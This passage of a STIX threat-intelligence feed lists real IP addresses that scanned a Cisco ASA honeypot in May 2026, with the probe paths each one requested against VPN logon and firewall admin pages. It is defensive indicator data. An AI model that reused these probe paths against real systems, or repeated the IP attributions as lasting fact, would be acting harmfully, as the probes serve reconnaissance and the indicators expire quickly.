      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.251.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:20:05.000Z",
      "valid_until": "2026-06-27T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T00:10:33.178Z",
          "last_seen": "2026-05-29T09:37:01.907Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0072af7f-d8e0-4f5b-b482-e58fe119028c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.24.47.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:59:27.535Z",
          "last_seen": "2026-05-26T00:59:27.535Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--589a620e-1340-4c25-9c47-0657ac6cc251",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T00:59:48.391Z",
          "last_seen": "2026-05-26T00:59:55.593Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--19beff39-c32e-4ecb-86f1-ac51e3772916",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T00:47:18.894Z",
          "last_seen": "2026-05-26T00:47:19.504Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a890f46a-0f84-465c-a866-fc0ca185efb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.218.94.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T00:53:39.289Z",
          "last_seen": "2026-05-26T00:53:42.293Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b1d5946e-e4ba-44fa-946d-1ba096f1ab1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.206.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T00:53:44.468Z",
          "last_seen": "2026-05-26T00:53:55.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--42da7d96-cfa8-4784-ad7b-b6e762d3c6af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.231.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T00:26:22.180Z",
          "last_seen": "2026-05-26T00:26:33.170Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dbfd99d1-7299-4dfd-9ed5-e8092ddae9b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.244.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T01:07:31.699Z",
          "last_seen": "2026-05-29T21:00:25.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--ef15833b-8272-49ca-97c5-b700a8db23d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.114.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T00:49:46.384Z",
          "last_seen": "2026-05-26T16:14:58.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--42fbef09-85fc-4bc4-87f5-adc11f56ac6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.53.133.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T00:48:48.084Z",
          "last_seen": "2026-05-31T03:08:23.568Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8e5813aa-1bbc-4e3d-8cc0-d802837b75d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.58.176.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T00:22:28.755Z",
          "last_seen": "2026-05-26T00:22:40.579Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--09a9d3c3-52e1-43da-8c88-bade71db9844",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.89.226.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:53:52.222Z",
          "last_seen": "2026-05-26T00:53:52.222Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--edd610f8-94b0-4afe-acdf-c2f58bd44633",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:33:51.065Z",
          "last_seen": "2026-05-26T00:33:51.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/legacy/filechecksum HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-26T00:29:39.357Z",
          "last_seen": "2026-05-26T00:35:09.312Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9e03acc9-69dc-4a21-b745-0ea9be6af68f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T00:33:37.901Z",
          "last_seen": "2026-05-26T00:33:43.600Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--105d8f61-2453-48ab-ab2a-084c1eeca875",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:32:15.681Z",
          "last_seen": "2026-05-26T00:32:15.681Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:33:49.899Z",
          "last_seen": "2026-05-26T00:33:49.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T00:33:25.223Z",
          "last_seen": "2026-05-26T00:33:25.223Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9e1c8bc8-eabf-4a65-ad2a-d8964c680c59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.117.86.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:20:10.000Z",
      "valid_until": "2026-06-27T01:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T00:50:09.815Z",
          "last_seen": "2026-05-29T13:46:56.787Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--30b861e6-7c9f-4b74-994a-fd9b903dd45f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.25.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T01:27:06.409Z",
          "last_seen": "2026-05-27T16:21:52.767Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--77e3cd2f-d9ea-477d-8c78-b5f9fb6d50ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.185.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:20:10.000Z",
      "valid_until": "2026-06-27T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
